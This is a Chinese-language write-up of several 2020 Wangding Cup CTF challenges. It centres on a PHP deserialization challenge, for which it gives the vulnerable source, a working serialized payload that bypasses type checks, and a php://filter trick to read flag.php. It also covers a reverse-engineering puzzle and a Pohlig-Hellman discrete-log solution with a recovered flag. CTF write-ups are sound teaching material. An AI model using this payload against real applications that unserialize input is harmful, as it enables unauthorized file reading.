2020 網鼎杯WP
- 又是划水的一天,就只做出來4題,欸,還是太菜,這里就記錄一下做出的幾題的解題記錄
AreUSerialz
知識點:反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 這里首先就是要滿足
payload
的字符的ASCII
在32
至125
之間,其次就是要繞過構造函數和析構函數
- 其中構造函數在一開始就會被執行,而其中又會執行
process
函數
process
函數中只有執行到read
函數時才能讀取文件,而要執行read
函數則必須使op=2
,這里可以通過加空格繞過
- 接下來就是對於
protected
在反序列化時,要加上\00
的前綴
- 此外在
PHP5
最新的CVS
中,新的序列化方式叫做escaped binary string
方式,這是相對與普通那種non-escaped binary string
方式來說的:string
型數據(字符串)新的序列化格式為:S:"<length>":"<value>"
;其中<length>
是源字符串的長度,而非<value>
的長度。<length>
是非負整數,數字前可以帶有正號(+)
。<value>
為經過轉義之后的字符串。它的轉義編碼很簡單,對於ASCII
碼小於128
的字符(但不包括\
),按照單個字節寫入(與s
標識的相同),對於128~255
的字符和\
字符,則將其ASCII
碼值轉化為16
進制編碼的字符串,以\
作為開頭,后面兩個字節分別是這個字符的16
進制編碼,順序按照由高位到低位排列,也就是第8-5
位所對應的16
進制數字字符(abcdef
這幾個字母是小寫)作為第一個字節,第4-1
位作為第二個字節。依次編碼下來,得到的就是<value>
的內容了。
- 所以對於普通的序列化小
s
對應的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S
則對應的是\
加上16
進制,如S:2:"\00a\00";
- 所以這里最終的
payload
如下:
<?php
class FileHandler {
protected $op=" 2";
protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
protected $content= "Hello World";
}
$a=new FileHandler();
echo $b=serialize($a);
O:11:"FileHandler":3:{s:5:"\00*\00op";s:2:" 2";s:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"\00*\00content";s:11:"Hello World";}
boom
- 無腦計算題,
level-1
的md5
直接在線查找一下,發現時en5oy
,level-2
的方程組用sympy
解一下或者直接手算,level-3
稍微有一些坑,首先用sympy
解出x=89127561
直接回車后會閃退,這里可以用OD
動調一下就可抓到flag
you raise me up
知識點:Pohlig-Hellman,離散對數求解
sage: n = 2 ** 512
sage: m = 3911907091245274289594896625652740393183059521729368594038550795814027
....: 70986890308469084735451207885386318986881041563704825943945069343345307381
....: 099559075
sage: c = 6665851394203214245856789450723658632520816791621796775909766895233000
....: 23402364287878602564495379799537321130848560539702412318008592411761080248
....: 5972584499
sage: discrete_log(c,mod(m,n))
56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
>>> long_to_bytes(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'
簽到題